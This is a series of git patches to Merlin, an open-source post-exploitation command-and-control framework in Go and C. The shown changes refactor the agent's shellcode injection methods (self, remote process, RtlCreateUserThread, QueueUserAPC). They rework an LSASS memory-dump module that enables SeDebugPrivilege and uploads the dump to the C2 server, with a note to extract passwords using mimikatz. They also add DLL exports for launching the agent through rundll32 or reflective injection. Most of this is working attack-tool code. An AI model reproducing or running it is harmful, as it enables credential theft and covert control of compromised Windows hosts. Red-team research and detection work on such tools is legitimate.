+++++++------------------------------------------ 1 file changed, 31 insertions(+), 207 deletions(-) diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index 81f78cea..782f7f91 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -18,12 +18,8 @@ package cli import ( - // Standard - "encoding/base64" - "encoding/hex" "fmt" "io" - "io/ioutil" "log" "os" "os/exec" @@ -46,6 +42,7 @@ import ( "github.com/Ne0nd0g/merlin/pkg/core" "github.com/Ne0nd0g/merlin/pkg/logging" "github.com/Ne0nd0g/merlin/pkg/modules" + "github.com/Ne0nd0g/merlin/pkg/modules/shellcode" ) // Global Variables @@ -266,111 +263,54 @@ func Shell() { } case "execute-shellcode": if len(cmd) > 2 { - var b64 string - i := 0 // position for the file path or inline bytes + var options map[string]string + options = make(map[string]string) switch strings.ToLower(cmd[1]) { case "self": - i = 2 + options["method"] = "self" + options["pid"] = "" + options["shellcode"] = strings.Join(cmd[2:], " ") case "remote": if len(cmd) > 3 { - i = 3 + options["method"] = "remote" + options["pid"] = cmd[2] + options["shellcode"] = strings.Join(cmd[3:], " ") } else { message("warn", "Not enough arguments. Try using the help command") + message("info", "execute-shellcode remote ") break } case "rtlcreateuserthread": if len(cmd) > 3 { - i = 3 + options["method"] = "rtlcreateuserthread" + options["pid"] = cmd[2] + options["shellcode"] = strings.Join(cmd[3:], " ") } else { message("warn", "Not enough arguments. Try using the help command") + message("info", "execute-shellcode RtlCreateUserThread ") break } case "userapc": if len(cmd) > 3 { - i = 3 + options["method"] = "userapc" + options["pid"] = cmd[2] + options["shellcode"] = strings.Join(cmd[3:], " ") } else { message("warn", "Not enough arguments. Try using the help command") + message("info", "execute-shellcode UserAPC ") break } default: - message("warn", "Not enough arguments. Try using the help command") + message("warn", "invalid method provided") break } - - if i > 0 { - f, errF := os.Stat(cmd[i]) - if errF != nil { - if core.Verbose { - message("info", "Valid file not provided as argument, parsing bytes") - if core.Debug { - message("debug", fmt.Sprintf("%s", errF.Error())) - } - } - - if core.Verbose { - message("info", "Parsing input into hex") - } - - h, errH := parseHex(cmd[i:]) - if errH != nil { - message("warn", errH.Error()) - break - } else { - b64 = base64.StdEncoding.EncodeToString(h) - } - } else { - if f.IsDir() { - message("warn", "A directory was provided instead of a file") - break - } else { - if core.Verbose { - message("info", "File passed as parameter") - } - b, errB := parseShellcodeFile(cmd[i]) - if errB != nil { - message("warn", "There was an error parsing the shellcode file") - message("warn", errB.Error()) - break - } - b64 = base64.StdEncoding.EncodeToString(b) - } - } - } else { - message("warn", "Not enough arguments. Try using the help command") - break - } - - switch strings.ToLower(cmd[1]) { - case "self": - m, err := agents.AddJob(shellAgent, "shellcode", []string{"self", b64}) - if err != nil { - message("warn", err.Error()) - break - } else { - message("note", fmt.Sprintf("Created job %s for agent %s at %s", - m, shellAgent, time.Now().UTC().Format(time.RFC3339))) - } - case "remote": - m, err := agents.AddJob(shellAgent, "shellcode", []string{"remote", cmd[2], b64}) - if err != nil { - message("warn", err.Error()) - break - } else { - message("note", fmt.Sprintf("Created job %s for agent %s at %s", - m, shellAgent, time.Now().UTC().Format(time.RFC3339))) - } - case "rtlcreateuserthread": - m, err := agents.AddJob(shellAgent, "shellcode", []string{"rtlcreateuserthread", - cmd[2], b64}) - if err != nil { - message("warn", err.Error()) + if len(options) > 0 { + sh, errSh := shellcode.Parse(options) + if errSh != nil { + message("warn", fmt.Sprintf("there was an error parsing the shellcode:\r\n%s", errSh.Error())) break - } else { - message("note", fmt.Sprintf("Created job %s for agent %s at %s", - m, shellAgent, time.Now().UTC().Format(time.RFC3339))) } - case "userapc": - m, err := agents.AddJob(shellAgent, "shellcode", []string{"userapc", cmd[2], b64}) + m, err := agents.AddJob(shellAgent, sh[0], sh[1:]) if err != nil { message("warn", err.Error()) break @@ -378,9 +318,13 @@ func Shell() { message("note", fmt.Sprintf("Created job %s for agent %s at %s", m, shellAgent, time.Now().UTC().Format(time.RFC3339))) } - default: - message("warn", fmt.Sprintf("Invalid shellcode execution method: %s", cmd[1])) } + } else { + message("warn", "not enough arguments were provided") + message("info", "execute-shellcode self ") + message("info", "execute-shellcode remote ") + message("info", "execute-shellcode RtlCreateUserThread ") + break } case "exit": exit() @@ -833,7 +777,7 @@ func menuHelpAgent() { {"cmd", "Execute a command on the agent (DEPRECIATED)", "cmd ping -c 3 8.8.8.8"}, {"back", "Return to the main menu", ""}, {"download", "Download a file from the agent", "download "}, - {"execute-shellcode", "Execute shellcode", "self, remote"}, + {"execute-shellcode", "Execute shellcode", "self, remote , RtlCreateUserThread "}, {"info", "Display all information about the agent", ""}, {"kill", "Instruct the agent to die or quit", ""}, {"ls", "List directory contents", "ls /etc OR ls C:\\\\Users"}, @@ -900,126 +844,6 @@ func executeCommand(name string, arg []string) { } } -// parseHex evaluates a string array to determine its format and returns a byte array of the hex -func parseHex(str []string) ([]byte, error) { - - if core.Debug { - message("debug", "Entering into cli.parseHex function") - } - - hexString := strings.Join(str, "") - - if core.Debug { - message("debug", "Parsing: ") - message("debug", fmt.Sprintf("%s", hexString)) - } - - data, err := base64.StdEncoding.DecodeString(hexString) - if err != nil { - if core.Verbose { - message("info", "Passed in string was not Base64 encoded") - } - if core.Debug { - message("debug", fmt.Sprintf("%s", err.Error())) - } - } else { - if core.Verbose { - message("info", "Passed in string is Base64 encoded") - } - s := string(data) - hexString = s - } - - // see if string is prefixed with 0x - if hexString[0:2] == "0x" { - if core.Verbose { - message("info", "Passed in string contains 0x; removing") - } - hexString = strings.Replace(hexString, "0x", "", -1) - if strings.Contains(hexString, ",") { - if core.Verbose { - message("info", "Passed in string is comma separated; removing") - } - hexString = strings.Replace(hexString, ",", "", -1) - } - if strings.Contains(hexString, " ") { - if core.Verbose { - message("info", "Passed in string contains spaces; removing") - } - hexString = strings.Replace(hexString, " ", "", -1) - } - } - - // see if string is prefixed with \x - if hexString[0:2] == "\\x" { - if core.Verbose { - message("info", "Passed in string contains \\x; removing") - } - hexString = strings.Replace(hexString, "\\x", "", -1) - if strings.Contains(hexString, ",") { - if core.Verbose { - message("info", "Passed in string is comma separated; removing") - } - hexString = strings.Replace(hexString, ",", "", -1) - } - if strings.Contains(hexString, " ") { - if core.Verbose { - message("info", "Passed in string contains spaces; removing") - } - hexString = strings.Replace(hexString, " ", "", -1) - } - } - - if core.Debug { - message("debug", fmt.Sprintf("About to convert to byte array: \r\n%s", hexString)) - } - - h, errH := hex.DecodeString(hexString) - - if core.Debug { - message("debug", "Leaving cli.parseHex function") - } - - return h, errH - -} - -// parseShellcodeFile parses a path, evaluates the file's contents, and returns a byte array of shellcode -func parseShellcodeFile(filePath string) ([]byte, error) { - - if core.Debug { - message("debug", "Entering into cli.parseShellcodeFile function") - } - - b, errB := ioutil.ReadFile(filePath) // #nosec G304 Users can include any file from anywhere - if errB != nil { - if core.Debug { - message("debug", "Leaving cli.parseShellcodeFile function") - } - return nil, errB - } - - h, errH := parseHex([]string{string(b)}) - if errH != nil { - if core.Verbose { - message("info", "Error parsing shellcode file for Base64, \\x90\\x00, 0x90,0x00, or 9000 formats; skipping") - message("info", errH.Error()) - } - } else { - if core.Debug { - message("debug", "Leaving cli.parseShellcodeFile function") - } - return h, nil - } - - if core.Debug { - message("debug", "Leaving cli.parseShellcodeFile function") - } - - return b, nil - -} - // TODO add command "agents" to list all connected agents // TODO add command "info" for agent and module menu in addition to "show info" // TODO create a function to display an agent's status; Green = active, Yellow = missed checkin, Red = missed max retry From ced970677c17b0cd3464d922d883f3dc7c12aad1 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 5 Mar 2019 08:30:00 -0500 Subject: [PATCH 097/112] Removed MinidumpFile struct and replaced with map to preclude the need for the agent to import the modules package. Added minidump package inside of modules. Updated minidump.json file. --- .../windows/x64/go/credentials/minidump.json | 11 ++--- pkg/agent/agent.go | 9 ++-- pkg/agent/exec.go | 8 ++- pkg/agent/exec_windows.go | 32 ++++++------ pkg/modules/minidump/minidump.go | 49 +++++++++++++++++++ pkg/modules/modules.go | 14 ++---- 6 files changed, 81 insertions(+), 42 deletions(-) create mode 100644 pkg/modules/minidump/minidump.go diff --git a/data/modules/windows/x64/go/credentials/minidump.json b/data/modules/windows/x64/go/credentials/minidump.json index 16ff1b9b..7a55946f 100644 --- a/data/modules/windows/x64/go/credentials/minidump.json +++ b/data/modules/windows/x64/go/credentials/minidump.json @@ -1,7 +1,7 @@ { "base": { "name": "Minidump", - "type": "standard", + "type": "extended", "author": ["Cameron Stokes (@C__Sto)"], "credits": [""], "path": ["windows", "x64", "go", "credentials", "minidump.json"], @@ -12,12 +12,11 @@ "remote": "", "local": [""], "options": [ - {"name": "Process", "value": "lsass.exe", "required": true, "flag": "", "description":"Name of the process to obtain a minidump of. If multiple processes exist with this name, it's likely the lowest PID will be used."}, - {"name": "PID", "value": "0", "required": false, "flag": "", "description":"Specific PID to dump. Will ignore process name if this value is set to anything except 0."}, - {"name": "TempLocation", "value": "", "required": false, "flag":"", "description": "A directory where the minidump temporary file will be written. The file is removed immediately after process dumping is complete. If a path is not provided, the first non-empty value from %TMP%, %TEMP%, %USERPROFILE%, or the Windows directory is used."} + {"name": "process", "value": "lsass.exe", "required": true, "flag": "", "description":"Name of the process to obtain a minidump of. If multiple processes exist with this name, it's likely the lowest PID will be used."}, + {"name": "pid", "value": "0", "required": false, "flag": "", "description":"Specific PID to dump. Will ignore process name if this value is set to anything except 0."}, + {"name": "tempLocation", "value": "", "required": false, "flag":"", "description": "A directory where the minidump temporary file will be written. The file is removed immediately after process dumping is complete. If a path is not provided, the first non-empty value from %TMP%, %TEMP%, %USERPROFILE%, or the Windows directory is used."} ], "description": "Calls Windows MiniDumpWriteDump API on the provided process, dumps out to a temporary file and uploads the minidump file to the Merlin server.", - "notes": "Written in native go - the only disk access is when writing out the file to the temp location. Must be elevated to run, and automatically sets the correct token privileges required to access other processes memory..\r\n\r\nUse \"sekurlsa::minidump dumpfile.dmp\" \"sekurlsa::logonPasswords full\" on the same OS/arch to parse the dump file", - "commands": ["Minidump", "{{Process.Value}}", "{{PID.Value}}", "{{TempLocation.Value}}"] + "notes": "Written in native go - the only disk access is when writing out the file to the temp location. Must be elevated to run, and automatically sets the correct token privileges required to access other processes memory..\r\n\r\nUse \"sekurlsa::minidump dumpfile.dmp\" \"sekurlsa::logonPasswords full\" on the same OS/arch to parse the dump file" } } \ No newline at end of file diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 1c76c217..efe984c5 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -698,7 +698,6 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { // Get minidump miniD, miniDumpErr := miniDump(tempPath, process, uint32(pid)) - fileData := miniD.FileContent //copied and pasted from upload func, modified appropriately if miniDumpErr != nil { @@ -726,7 +725,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { } else { fileHash := sha1.New() - _, errW := io.WriteString(fileHash, string(fileData)) + _, errW := io.WriteString(fileHash, string(miniD["FileContent"].([]byte))) if errW != nil { if a.Verbose { message("warn", fmt.Sprintf("There was an error generating the SHA1 file hash e:\r\n%s", errW.Error())) @@ -736,12 +735,12 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { if a.Verbose { message("note", fmt.Sprintf("Uploading minidump file of size %d bytes and a SHA1 hash of %x to the server", //p.FileLocation, - len(fileData), + len(miniD["FileContent"].([]byte)), fileHash.Sum(nil))) } c := messages.FileTransfer{ - FileLocation: fmt.Sprintf("%s.%d.dmp", miniD.ProcName, miniD.ProcID), - FileBlob: base64.StdEncoding.EncodeToString([]byte(fileData)), + FileLocation: fmt.Sprintf("%s.%d.dmp", miniD["ProcName"], miniD["ProcID"]), + FileBlob: base64.StdEncoding.EncodeToString(miniD["FileContent"].([]byte)), IsDownload: true, Job: p.Job, } diff --git a/pkg/agent/exec.go b/pkg/agent/exec.go index 362c812c..aca95cf8 100644 --- a/pkg/agent/exec.go +++ b/pkg/agent/exec.go @@ -27,9 +27,6 @@ import ( // 3rd Party "github.com/mattn/go-shellwords" - - // Merlin - "github.com/Ne0nd0g/merlin/pkg/modules" ) // ExecuteCommand is function used to instruct an agent to execute a command on the host operating system @@ -82,9 +79,10 @@ func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { } // miniDump is a Windows only module function to dump the memory of the provided process -func miniDump(tempDir string, process string, inPid uint32) (modules.MinidumpFile, error) { +func miniDump(tempDir string, process string, inPid uint32) (map[string]interface{}, error) { + var mini map[string]interface{} tempDir = "" process = "" inPid = 0 - return modules.MinidumpFile{}, errors.New("minidump doesn't work on non-windows hosts") + return mini, errors.New("minidump doesn't work on non-windows hosts") } diff --git a/pkg/agent/exec_windows.go b/pkg/agent/exec_windows.go index 03a0344f..561c0752 100644 --- a/pkg/agent/exec_windows.go +++ b/pkg/agent/exec_windows.go @@ -34,9 +34,6 @@ import ( // 3rd Party "github.com/mattn/go-shellwords" - - // Merlin - "github.com/Ne0nd0g/merlin/pkg/modules" ) const ( @@ -381,46 +378,47 @@ func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { // miniDump will attempt to perform use the Windows MiniDumpWriteDump API operation on the provided process, and returns // the raw bytes of the dumpfile back as an upload to the server. // Touches disk during the dump process, in the OS default temporary or provided temporary directory -func miniDump(tempDir string, process string, inPid uint32) (modules.MinidumpFile, error) { - ret := modules.MinidumpFile{} // []byte{} +func miniDump(tempDir string, process string, inPid uint32) (map[string]interface{}, error) { + var mini map[string]interface{} + mini = make(map[string]interface{}) var err error // Make sure temporary directory exists before executing miniDump functionality if tempDir != "" { d, errS := os.Stat(tempDir) if os.IsNotExist(errS) { - return ret, fmt.Errorf("the provided directory does not exist: %s", tempDir) + return mini, fmt.Errorf("the provided directory does not exist: %s", tempDir) } if d.IsDir() != true { - return ret, fmt.Errorf("the provided path is not a valid directory: %s", tempDir) + return mini, fmt.Errorf("the provided path is not a valid directory: %s", tempDir) } } else { tempDir = os.TempDir() } // Get the process PID or name - ret.ProcName, ret.ProcID, err = getProcess(process, inPid) + mini["ProcName"], mini["ProcID"], err = getProcess(process, inPid) if err != nil { - return ret, err + return mini, err } // Get debug privs (required for dumping processes not owned by current user) err = sePrivEnable("SeDebugPrivilege") if err != nil { - return ret, err + return mini, err } // Get a handle to process - hProc, err := syscall.OpenProcess(0x1F0FFF, false, ret.ProcID) //PROCESS_ALL_ACCESS := uint32(0x1F0FFF) + hProc, err := syscall.OpenProcess(0x1F0FFF, false, mini["ProcID"].(uint32)) //PROCESS_ALL_ACCESS := uint32(0x1F0FFF) if err != nil { - return ret, err + return mini, err } // Set up the temporary file to write to, automatically remove it once done // TODO: Work out how to do this in memory f, tempErr := ioutil.TempFile(tempDir, "*.tmp") if tempErr != nil { - return ret, tempErr + return mini, tempErr } // Remove the file after the function exits, regardless of error nor not @@ -442,18 +440,18 @@ func miniDump(tempDir string, process string, inPid uint32) (modules.MinidumpFil ); */ // Call Windows MiniDumpWriteDump API - r, _, _ := miniDump.Call(uintptr(hProc), uintptr(ret.ProcID), f.Fd(), 3, 0, 0, 0) + r, _, _ := miniDump.Call(uintptr(hProc), uintptr(mini["ProcID"].(uint32)), f.Fd(), 3, 0, 0, 0) f.Close() //idk why this fixes the 'not same as on disk' issue, but it does if r != 0 { - ret.FileContent, err = ioutil.ReadFile(f.Name()) + mini["FileContent"], err = ioutil.ReadFile(f.Name()) if err != nil { f.Close() - return ret, err + return mini, err } } - return ret, nil + return mini, nil } // getProcess takes in a process name OR a process ID and returns a pointer to the process handle, the process name, diff --git a/pkg/modules/minidump/minidump.go b/pkg/modules/minidump/minidump.go new file mode 100644 index 00000000..482c9ba8 --- /dev/null +++ b/pkg/modules/minidump/minidump.go @@ -0,0 +1,49 @@ +/* +Merlin is a post-exploitation command and control framework. +This file is part of Merlin. +Copyright (C) 2019 Russel Van Tuyl + +Merlin is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +any later version. + +Merlin is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with Merlin. If not, see . +*/ + +package minidump + +import ( + "fmt" + "strconv" +) + +// Parse is the initial entry point for all extended modules. All validation checks and processing will be performed here +// The function input types are limited to strings and therefore require additional processing +func Parse(options map[string]string) ([]string, error) { + // Convert PID to integer + if options["pid"] != "" && options["pid"] != "0" { + _, errPid := strconv.Atoi(options["pid"]) + if errPid != nil { + return nil, fmt.Errorf("there was an error converting the PID to an integer:\r\n%s", errPid.Error()) + } + } + + command, errCommand := GetJob(options["process"], options["pid"], options["tempLocation"]) + if errCommand != nil { + return nil, fmt.Errorf("there was an error getting the minidump job:\r\n%s", errCommand.Error()) + } + + return command, nil +} + +// GetJob returns a string array containing the commands, in the proper order, to be used with agents.AddJob +func GetJob(process string, pid string, tempLocation string) ([]string, error) { + return []string{"Minidump", process, pid, tempLocation}, nil +} diff --git a/pkg/modules/modules.go b/pkg/modules/modules.go index 2c6036db..fe918b4d 100644 --- a/pkg/modules/modules.go +++ b/pkg/modules/modules.go @@ -22,6 +22,7 @@ import ( "encoding/json" "errors" "fmt" + "github.com/Ne0nd0g/merlin/pkg/modules/minidump" "io/ioutil" "os" "path" @@ -345,10 +346,12 @@ func getExtendedCommand(m *Module) ([]string, error) { var extendedCommand []string var err error switch strings.ToLower(m.Name) { - case "srdi": - extendedCommand, err = srdi.Parse(m.getMapFromOptions()) + case "minidump": + extendedCommand, err = minidump.Parse(m.getMapFromOptions()) case "shellcodeinjection": extendedCommand, err = shellcode.Parse(m.getMapFromOptions()) + case "srdi": + extendedCommand, err = srdi.Parse(m.getMapFromOptions()) default: return nil, fmt.Errorf("the %s module's extended command function was not found", m.Name) } @@ -364,10 +367,3 @@ func (m *Module) getMapFromOptions() map[string]string { } return optionsMap } - -//MinidumpFile holds the structure of of a Minidump operation to report back to merlin -type MinidumpFile struct { - ProcName string - ProcID uint32 - FileContent []byte -} From 5671cdfa7b6c2ab491d5c6dd0a6d9224da7774df Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Wed, 6 Mar 2019 06:23:13 -0500 Subject: [PATCH 098/112] libmerlin and DllMain work with Makefile --- Makefile | 4 ++-- data/bin/dll/libmerlin.c | 37 +++++++++++++++++++++++++++++++++++++ 2 files changed, 39 insertions(+), 2 deletions(-) create mode 100644 data/bin/dll/libmerlin.c diff --git a/Makefile b/Makefile index e845a377..008fba5b 100644 --- a/Makefile +++ b/Makefile @@ -64,9 +64,9 @@ agent-dll: # Compile Agent - Windows x64 DLL - DllMain() - DLL agent-dll-library: export GOOS=windows GOARCH=amd64 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1; \ - go build ${LDFLAGS} -buildmode=c-shared -o ${DIR}/libmerlin.so cmd/merlinagentdll/main.go; \ + go build ${LDFLAGS} -buildmode=c-archive -o ${DIR}/libmerlin.a cmd/merlinagentdll/main.go; \ cp data/bin/dll/libmerlin.c ${DIR}; \ - x86_64-w64-mingw32-gcc -shared -pthread -o ${DIR}/libmerlin.dll ${DIR}/libmerlin.c ${DIR}/libmerlin.so -lwinmm -lntdll -lws2_32 + x86_64-w64-mingw32-gcc -shared -pthread -o ${DIR}/libmerlin.dll ${DIR}/libmerlin.c ${DIR}/libmerlin.a -lwinmm -lntdll -lws2_32 # Compile Server - Linux x64 server-linux: diff --git a/data/bin/dll/libmerlin.c b/data/bin/dll/libmerlin.c new file mode 100644 index 00000000..5543c59e --- /dev/null +++ b/data/bin/dll/libmerlin.c @@ -0,0 +1,37 @@ +#include +#include +#include "libmerlin.h" + +// https://docs.microsoft.com/en-us/windows/desktop/dlls/dynamic-link-library-entry-point-function + +BOOL WINAPI DllMain( + HINSTANCE hinstDLL, // handle to DLL module + DWORD fdwReason, // reason for calling function + LPVOID lpReserved ) // reserved +{ + // Perform actions based on the reason for calling. + switch( fdwReason ) + { + case DLL_PROCESS_ATTACH: + // Initialize once for each new process. + // Return FALSE to fail DLL load. + // MessageBoxA( NULL, "Hello from DllMain-PROCESS_ATTACH in Merlin!", "Reflective Dll Injection", MB_OK ); + // Run Merlin + Run(); + break; + + case DLL_THREAD_ATTACH: + // Do thread-specific initialization. + // MessageBoxA( NULL, "Hello from DllMain-PROCESS_ATTACH in Merlin!", "Reflective Dll Injection", MB_OK ); + break; + + case DLL_THREAD_DETACH: + // Do thread-specific cleanup. + break; + + case DLL_PROCESS_DETACH: + // Perform any necessary cleanup. + break; + } + return TRUE; // Successful DLL_PROCESS_ATTACH. +} \ No newline at end of file From b6eab8c87e1e7080697c031b459b419efa206875 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Mon, 18 Mar 2019 20:11:20 -0400 Subject: [PATCH 099/112] Added exported functions Merlin & Magic to merlin.dll along with DllMain. Moved everything from libmerlin.dll to merlin.dll --- Makefile | 7 ------ cmd/merlinagentdll/main.go | 18 ++++++++++------ data/bin/dll/libmerlin.c | 37 -------------------------------- data/bin/dll/merlin.c | 44 +++++++++++++++++++++++++++++++++++--- docs/CHANGELOG.MD | 9 ++++++++ 5 files changed, 62 insertions(+), 53 deletions(-) delete mode 100644 data/bin/dll/libmerlin.c diff --git a/Makefile b/Makefile index 008fba5b..ad8c2c0d 100644 --- a/Makefile +++ b/Makefile @@ -61,13 +61,6 @@ agent-dll: cp data/bin/dll/merlin.c ${DIR}; \ x86_64-w64-mingw32-gcc -shared -pthread -o ${DIR}/merlin.dll ${DIR}/merlin.c ${DIR}/main.a -lwinmm -lntdll -lws2_32 -# Compile Agent - Windows x64 DLL - DllMain() - DLL -agent-dll-library: - export GOOS=windows GOARCH=amd64 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1; \ - go build ${LDFLAGS} -buildmode=c-archive -o ${DIR}/libmerlin.a cmd/merlinagentdll/main.go; \ - cp data/bin/dll/libmerlin.c ${DIR}; \ - x86_64-w64-mingw32-gcc -shared -pthread -o ${DIR}/libmerlin.dll ${DIR}/libmerlin.c ${DIR}/libmerlin.a -lwinmm -lntdll -lws2_32 - # Compile Server - Linux x64 server-linux: export GOOS=linux;export GOARCH=amd64;go build ${LDFLAGS} -o ${DIR}/${MSERVER}-${L} cmd/merlinserver/main.go diff --git a/cmd/merlinagentdll/main.go b/cmd/merlinagentdll/main.go index ae837053..ad7c2d87 100644 --- a/cmd/merlinagentdll/main.go +++ b/cmd/merlinagentdll/main.go @@ -41,9 +41,10 @@ func run(URL string) { // EXPORTED FUNCTIONS //export Run -// Run is the main function used to start the Merlin agent taking 1 argument for the Merlin server's address +// Run is designed to work with rundll32.exe to execute a Merlin agent. +// The function will process the command line arguments in spot 3 for an optional URL to connect to func Run() { - // If using rundll32 spot 0 is "rundll32", spot 1 is "merlin.dll,VoidFunc" + // If using rundll32 spot 0 is "rundll32", spot 1 is "merlin.dll,Run" if len(os.Args) >= 3 { if strings.HasPrefix(strings.ToLower(os.Args[0]), "rundll32") { url = os.Args[2] @@ -72,10 +73,15 @@ func DllRegisterServer() { run(url) } // https://msdn.microsoft.com/en-us/library/windows/desktop/ms691457(v=vs.85).aspx func DllUnregisterServer() { run(url) } -//export ReflectiveLoader -// ReflectiveLoader is used when calling Metasploit's windows/manage/reflective_dll_inject module. -// This is broken and causes the process to crash -func ReflectiveLoader() { run(url) } +//export Merlin +// Merlin is an exported function that takes in a C *char, converts it to a string, and executes it. +// Intended to be used with DLL loading +func Merlin(u *C.char) { + if len(C.GoString(u)) > 0 { + url = C.GoString(u) + } + run(url) +} // TODO add entry point of 0 (yes a zero) for use with Metasploit's windows/smb/smb_delivery // TODO move exported functions to merlin.c to handle them properly and only export Run() diff --git a/data/bin/dll/libmerlin.c b/data/bin/dll/libmerlin.c deleted file mode 100644 index 5543c59e..00000000 --- a/data/bin/dll/libmerlin.c +++ /dev/null @@ -1,37 +0,0 @@ -#include -#include -#include "libmerlin.h" - -// https://docs.microsoft.com/en-us/windows/desktop/dlls/dynamic-link-library-entry-point-function - -BOOL WINAPI DllMain( - HINSTANCE hinstDLL, // handle to DLL module - DWORD fdwReason, // reason for calling function - LPVOID lpReserved ) // reserved -{ - // Perform actions based on the reason for calling. - switch( fdwReason ) - { - case DLL_PROCESS_ATTACH: - // Initialize once for each new process. - // Return FALSE to fail DLL load. - // MessageBoxA( NULL, "Hello from DllMain-PROCESS_ATTACH in Merlin!", "Reflective Dll Injection", MB_OK ); - // Run Merlin - Run(); - break; - - case DLL_THREAD_ATTACH: - // Do thread-specific initialization. - // MessageBoxA( NULL, "Hello from DllMain-PROCESS_ATTACH in Merlin!", "Reflective Dll Injection", MB_OK ); - break; - - case DLL_THREAD_DETACH: - // Do thread-specific cleanup. - break; - - case DLL_PROCESS_DETACH: - // Perform any necessary cleanup. - break; - } - return TRUE; // Successful DLL_PROCESS_ATTACH. -} \ No newline at end of file diff --git a/data/bin/dll/merlin.c b/data/bin/dll/merlin.c index 394a9826..8bce5a0f 100644 --- a/data/bin/dll/merlin.c +++ b/data/bin/dll/merlin.c @@ -1,7 +1,45 @@ +#include #include -#include "main.h" +#include "libmerlin.h" -int main() { - Run(); +// https://docs.microsoft.com/en-us/windows/desktop/dlls/dynamic-link-library-entry-point-function + +BOOL WINAPI DllMain( + HINSTANCE hinstDLL, // handle to DLL module + DWORD fdwReason, // reason for calling function + LPVOID lpReserved ) // reserved +{ + // Perform actions based on the reason for calling. + switch( fdwReason ) + { + case DLL_PROCESS_ATTACH: + // Initialize once for each new process. + // Return FALSE to fail DLL load. + // printf("[+] Hello from DllMain-PROCESS_ATTACH in Merlin\n"); + // MessageBoxA( NULL, "Hello from DllMain-PROCESS_ATTACH in Merlin!", "Reflective Dll Injection", MB_OK ); + break; + + case DLL_THREAD_ATTACH: + // Do thread-specific initialization. + // MessageBoxA( NULL, "Hello from DllMain-PROCESS_ATTACH in Merlin!", "Reflective Dll Injection", MB_OK ); + break; + + case DLL_THREAD_DETACH: + // Do thread-specific cleanup. + break; + + case DLL_PROCESS_DETACH: + // Perform any necessary cleanup. + break; + } + return TRUE; // Successful DLL_PROCESS_ATTACH. +} + +// Magic is the exported function name that can be called from sRDI to launch a Merlin agent +// There must be a call to an exported function from cmd/merlinagentdll/main.go so that the export functions are available +// Any exported function from cmd/merlinagentdll/main.go can be called directly without the need to include it here +int Magic(char *url){ + // Run Merlin Agent + Merlin(url); return 0; } \ No newline at end of file diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index 78c029db..63ab994c 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -25,15 +25,24 @@ and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0. - Test case for TLS certificate generation - [Pull 60](https://github.com/Ne0nd0g/merlin/pull/60) - Added `pwd` and `cd` command to agent & agent menu. - Uses go code native to Merlin instead of executing system binaries or access the system's CLI. +- merlin.dll contains a DllMain function and a function named Magic to instantiate a Merlin agent + - DllMain does nothing +- Added exported function named Merlin to merlinagentdll/main.go to take in a C *char and convert to Go string +- Shellcode Reflective DLL Injection (sRDI) module windows/x64/go/exec/sRDI +- Shellcode injection module at windows/x64/go/exec/shellcode provides same functionality as execute-shellcode from Agent menu +- "extended" module types that call Go code from the pkg/modules directory ### Fixed - [Pull 57](https://github.com/Ne0nd0g/merlin/pull/57) - Resolved broken JSON does not increment failedCheckin counter on Merlin agent ### Changed - Changed SHA1 library to SHA256 and checks from http2.go for publicly distributed Merlin Server test certificate +- Moved execute-shellcode functionality to pkg/modules/shellcode +- merlin.c contains DllMain and exported Magic function ### Removed - Removed publicly distributed certificates from repository see [Pull 58](https://github.com/Ne0nd0g/merlin/pull/58). +- Removed "main" and "ReflectiveLoader" functions from merlin.dll/merlin.c ## 0.6.8 - 2019-01-26 From a68f7b3098aa0ed1720255c83ed61a935c24cc71 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 19 Mar 2019 07:13:01 -0400 Subject: [PATCH 100/112] Fix header reference --- data/bin/dll/merlin.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/data/bin/dll/merlin.c b/data/bin/dll/merlin.c index 8bce5a0f..8912c609 100644 --- a/data/bin/dll/merlin.c +++ b/data/bin/dll/merlin.c @@ -1,6 +1,6 @@ #include #include -#include "libmerlin.h" +#include "main.h" // https://docs.microsoft.com/en-us/windows/desktop/dlls/dynamic-link-library-entry-point-function From f6a9f175acc804d2abf710f6dfba0242bd8496d1 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 19 Mar 2019 08:39:01 -0400 Subject: [PATCH 101/112] staticcheck fixes on agent.go --- pkg/agent/agent.go | 52 ++++++++++++++++++++++++---------------------- 1 file changed, 27 insertions(+), 25 deletions(-) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index efe984c5..c75dc3b6 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -110,7 +110,7 @@ func New(protocol string, verbose bool, debug bool) Agent { if errU != nil { if a.Debug { message("warn", "There was an error getting the username") - message("warn", fmt.Sprintf("%s", errU.Error())) + message("warn", errU.Error()) } } else { a.UserName = u.Username @@ -121,7 +121,7 @@ func New(protocol string, verbose bool, debug bool) Agent { if errH != nil { if a.Debug { message("warn", "There was an error getting the hostname") - message("warn", fmt.Sprintf("%s", errH.Error())) + message("warn", errH.Error()) } } else { a.HostName = h @@ -131,7 +131,7 @@ func New(protocol string, verbose bool, debug bool) Agent { if errI != nil { if a.Debug { message("warn", "There was an error getting the the IP addresses") - message("warn", fmt.Sprintf("%s", 